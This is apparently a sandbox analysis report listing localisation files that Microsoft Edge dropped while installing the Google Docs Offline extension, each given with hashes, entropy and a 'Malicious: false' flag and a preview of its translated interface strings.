SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
